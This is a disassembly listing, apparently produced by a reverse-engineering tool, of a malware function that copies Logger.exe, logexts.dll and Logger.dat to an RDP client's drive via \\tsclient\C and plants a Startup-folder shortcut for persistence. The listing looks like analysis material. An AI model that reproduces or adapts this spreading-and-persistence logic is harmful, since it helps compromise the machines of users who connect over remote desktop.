Function at 0x180013e40
Capabilities:
Check if file exists
Copy file
Get file attributes
Persist via lnk shortcut

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x9d0]
sub rsp, 0xad0
movups xmm0, xmmword [str.C:ProgramDataLogger.exe]
movups xmm1, xmmword [0x18002d5d8]
mov eax, dword [0x18002d5f8]
mov rbx, rcx
lea rcx, [rbp - 0x1c]
xor edx, edx
mov r8d, 0x1ca
mov dword [rbp - 0x20], eax
movaps xmmword [rbp - 0x50], xmm0
movaps xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [0x18002d5e8]
movaps xmmword [rbp - 0x30], xmm0
call fcn.18002b6f0
xor r12d, r12d
lea rcx, [rbp + 0x1b0]
xor edx, edx
mov r8d, 0x800
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x30], r12d
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x60], r12
mov dword [rbp - 0x70], r12d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], r12
mov dword [rsp + 0x50], r12d
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], r12
mov dword [rsp + 0x70], r12d
call fcn.1800252b0
lea rdx, str._tsclientCUsers_sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupLogger.lnk
lea rcx, [rbp + 0x1b0]
mov r8, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800146a2
shr eax, 4
and eax, 1
je 0x1800146a2
mov qword [rsp + 0xaf0], rsi
mov qword [rsp + 0xac8], rdi
mov qword [rsp + 0xac0], r13
lea rdx, str._tsclientCUsers_sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupLogger.lnk
lea rcx, [rbp + 0x1b0]
mov r8, rbx
mov qword [rsp + 0xab8], r14
mov qword [rsp + 0xab0], r15
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x180014080
nop
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x18001406a
xor edx, edx
lea rax, [rbp + 0x9f8]
lea r9, [0x18002c8b0]
lea r8d, [rdx + 1]
lea rcx, [0x18002c8c0]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x180014064
mov rcx, qword [rbp + 0x9f8]
lea rdx, [rbp - 0x50]
mov rax, qword [rcx]
call qword [rax + 0xa0]
lea rcx, [rbp - 0x50]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov rcx, qword [rbp + 0x9f8]
lea rdx, [rbp - 0x50]
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x9f8]
lea rdx, str.200_200
mov rax, qword [rcx]
call qword [rax + 0x58]
mov rcx, qword [rbp + 0x9f8]
lea r8, [rbp + 0xa00]
mov rax, qword [rcx]
lea rdx, [0x18002c8d0]
call qword [rax]
test eax, eax
js 0x180014057
mov rcx, qword [rbp + 0xa00]
lea rdx, [rbp + 0x1b0]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x30]
test eax, eax
jns 0x18001406a
mov rcx, qword [rbp + 0xa00]
mov rax, qword [rcx]
call qword [rax + SQLNumResultCols]
mov rcx, qword [rbp + 0x9f8]
mov rax, qword [rcx]
call qword [rax + SQLNumResultCols]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180013f90
cmp qword [0x180033c68], r12
jne 0x1800140af
mov ecx, 0x1994
call fcn.1800251fc
test rax, rax
je 0x1800140a8
mov dword [rax + 0x1990], r12d
mov qword [0x180033c68], rax
jmp 0x1800140af
mov qword [0x180033c68], r12
lea rdx, [0x180036bcc]
lea rcx, [rsp + 0x30]
call fcn.18001c720
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp - 0x70]
mov rdx, rbx
lea r8d, [rax + rax]
call fcn.180005da0
lea rcx, [0x18002cd48]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, dword [rbp - 0x70]
mov r14d, eax
lea ecx, [rbx + 2]
movsxd rcx, ecx
add r14d, r14d
call fcn.1800251fc
mov r15d, r12d
mov rdi, rax
test rax, rax
je 0x180014113
mov r15d, ebx
mov word [rbx + rax], r12w
mov rsi, qword [rbp - 0x68]
mov r8, rbx
mov rcx, rax
mov rdx, rsi
call fcn.18002525c
add ebx, r14d
test rsi, rsi
je 0x180014135
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
lea eax, [rbx + 2]
movsxd rcx, eax
call fcn.1800251fc
mov r13d, r12d
mov rsi, rax
test rax, rax
je 0x18001417a
movsxd rcx, ebx
mov r13d, ebx
movsxd rbx, r15d
mov word [rcx + rax], r12w
mov rcx, rax
mov r8, rbx
mov rdx, rdi
call fcn.18002525c
lea rcx, [rsi + rbx]
lea rdx, [0x18002cd48]
movsxd r8, r14d
call fcn.18002525c
test rdi, rdi
je 0x180014187
mov rcx, rdi
call sub.KERNEL32.dll_LocalFree
lea rcx, str.Logger.exe
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [r13 + 2]
mov r15d, eax
movsxd rcx, ecx
add r15d, r15d
call fcn.1800251fc
mov dword [rbp + 0x9f8], r12d
mov rdi, rax
test rax, rax
je 0x1800141c4
movsxd rcx, r13d
mov dword [rbp + 0x9f8], r13d
mov word [rcx + rax], r12w
movsxd r8, r13d
mov rdx, rsi
mov rcx, rax
call fcn.18002525c
lea ebx, [r15 + r13]
test rsi, rsi
je 0x1800141e3
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
lea eax, [rbx + 2]
movsxd rcx, eax
call fcn.1800251fc
mov r14, rax
test rax, rax
je 0x180014226
movsxd rcx, ebx
movsxd rbx, dword [rbp + 0x9f8]
mov rdx, rdi
mov word [rcx + rax], r12w
mov r8, rbx
mov rcx, rax
call fcn.18002525c
lea rcx, [r14 + rbx]
lea rdx, str.Logger.exe
movsxd r8, r15d
call fcn.18002525c
test rdi, rdi
je 0x180014233
mov rcx, rdi
call sub.KERNEL32.dll_LocalFree
lea rcx, str._tsclientCProgramDataLogger.exe
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x180014275
nop word [rax + rax]
lea rdx, str._tsclientCProgramDataLogger.exe
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str._tsclientCProgramDataLogger.exe
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180014250
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x50]
mov rdx, rbx
lea r8d, [rax + rax]
call fcn.180005da0
lea rcx, [0x18002cd48]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, dword [rsp + 0x50]
mov r15d, eax
lea ecx, [rbx + 2]
movsxd rcx, ecx
add r15d, r15d
call fcn.1800251fc
mov dword [rbp + 0x9f8], r12d
mov rdi, rax
test rax, rax
je 0x1800142dc
mov dword [rbp + 0x9f8], ebx
mov word [rbx + rax], r12w
mov rsi, qword [rsp + 0x58]
mov r8, rbx
mov rcx, rax
mov rdx, rsi
call fcn.18002525c
add ebx, r15d
test rsi, rsi
je 0x1800142ff
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
lea eax, [rbx + 2]
movsxd rcx, eax
call fcn.1800251fc
mov r13d, r12d
mov rsi, rax
test rax, rax
je 0x180014348
movsxd rcx, ebx
mov r13d, ebx
movsxd rbx, dword [rbp + 0x9f8]
mov word [rcx + rax], r12w
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.18002525c
lea rcx, [rbx + rsi]
lea rdx, [0x18002cd48]
movsxd r8, r15d
call fcn.18002525c
test rdi, rdi
je 0x180014355
mov rcx, rdi
call sub.KERNEL32.dll_LocalFree
lea rcx, str.logexts.dll
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [r13 + 2]
mov r15d, eax
movsxd rcx, ecx
add r15d, r15d
call fcn.1800251fc
mov dword [rbp + 0x9f8], r12d
mov rdi, rax
test rax, rax
je 0x180014392
movsxd rcx, r13d
mov dword [rbp + 0x9f8], r13d
mov word [rcx + rax], r12w
movsxd r8, r13d
mov rdx, rsi
mov rcx, rax
call fcn.18002525c
lea ebx, [r15 + r13]
test rsi, rsi
je 0x1800143b1
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
lea eax, [rbx + 2]
movsxd rcx, eax
call fcn.1800251fc
mov r13, rax
test rax, rax
je 0x1800143f4
movsxd rcx, ebx
movsxd rbx, dword [rbp + 0x9f8]
mov rdx, rdi
mov word [rcx + rax], r12w
mov r8, rbx
mov rcx, rax
call fcn.18002525c
lea rcx, [rbx + r13]
lea rdx, str.logexts.dll
movsxd r8, r15d
call fcn.18002525c
test rdi, rdi
je 0x180014401
mov rcx, rdi
call sub.KERNEL32.dll_LocalFree
lea rcx, str._tsclientCProgramDatalogexts.dll
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x180014438
lea rdx, str._tsclientCProgramDatalogexts.dll
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str._tsclientCProgramDatalogexts.dll
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180014413
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x70]
mov rdx, rbx
lea r8d, [rax + rax]
call fcn.180005da0
lea rcx, [0x18002cd48]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, dword [rsp + 0x70]
mov r15d, eax
lea ecx, [rbx + 2]
add r15d, r15d
movsxd rcx, ecx
mov dword [rbp + 0xa08], r15d
call fcn.1800251fc
mov dword [rbp + 0x9f8], r12d
mov rdi, rax
test rax, rax
je 0x1800144a6
mov dword [rbp + 0x9f8], ebx
mov word [rbx + rax], r12w
mov rsi, qword [rsp + 0x78]
mov r8, rbx
mov rcx, rax
mov rdx, rsi
call fcn.18002525c
add ebx, r15d
mov dword [rbp + 0xa00], ebx
test rsi, rsi
je 0x1800144cf
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
lea eax, [rbx + 2]
movsxd rcx, eax
call fcn.1800251fc
mov ebx, r12d
mov r15, rax
test rax, rax
je 0x18001468c
movsxd rax, dword [rbp + 0xa00]
mov rdx, rdi
mov rcx, r15
mov word [rax + r15], bx
movsxd rbx, dword [rbp + 0x9f8]
mov dword [rbp + 0xa00], eax
mov r8, rbx
call fcn.18002525c
movsxd r8, dword [rbp + 0xa08]
lea rcx, [rbx + r15]
lea rdx, [0x18002cd48]
call fcn.18002525c
test rdi, rdi
je 0x180014534
mov rcx, rdi
call sub.KERNEL32.dll_LocalFree
mov ebx, dword [rbp + 0xa00]
lea rcx, str.Logger.dat
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [rbx + 2]
mov edi, eax
movsxd rcx, ecx
add edi, edi
mov dword [rbp + 0x9f8], edi
call fcn.1800251fc
mov rsi, rax
test rax, rax
je 0x180014570
movsxd rcx, ebx
mov r12d, ebx
mov word [rcx + rax], 0
movsxd r8, ebx
mov rdx, r15
mov rcx, rax
call fcn.18002525c
add ebx, edi
test r15, r15
je 0x18001458d
mov rcx, r15
call sub.KERNEL32.dll_LocalFree
lea eax, [rbx + 2]
movsxd rcx, eax
call fcn.1800251fc
mov r15, qword [rsp + 0xab0]
mov rdi, rax
test rax, rax
je 0x1800145d9
movsxd rcx, ebx
movsxd rbx, r12d
mov rdx, rsi
mov word [rcx + rax], 0
mov rcx, rax
mov r8, rbx
call fcn.18002525c
movsxd r8, dword [rbp + 0x9f8]
lea rcx, [rbx + rdi]
lea rdx, str.Logger.dat
call fcn.18002525c
test rsi, rsi
je 0x1800145e6
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
lea rcx, str._tsclientCProgramDataLogger.dat
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov rsi, qword [rsp + 0xaf0]
cmp eax, 0xffffffff
jne 0x180014625
lea rdx, str._tsclientCProgramDataLogger.dat
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str._tsclientCProgramDataLogger.dat
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180014600
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
test rdi, rdi
je 0x18001463d
mov rcx, rdi
call sub.KERNEL32.dll_LocalFree
mov rdi, qword [rsp + 0xac8]
test r13, r13
je 0x180014652
mov rcx, r13
call sub.KERNEL32.dll_LocalFree
mov r13, qword [rsp + 0xac0]
test r14, r14
je 0x180014667
mov rcx, r14
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rsp + 0x38]
mov r14, qword [rsp + 0xab8]
test rcx, rcx
je 0x18001467e
call sub.KERNEL32.dll_LocalFree
mov al, 1
add rsp, 0xad0
pop r12
pop rbx
pop rbp
ret
test rdi, rdi
je 0x18001453a
mov rcx, rdi
call sub.KERNEL32.dll_LocalFree
jmp 0x18001453a
xor al, al
add rsp, 0xad0
pop r12
pop rbx
pop rbp
ret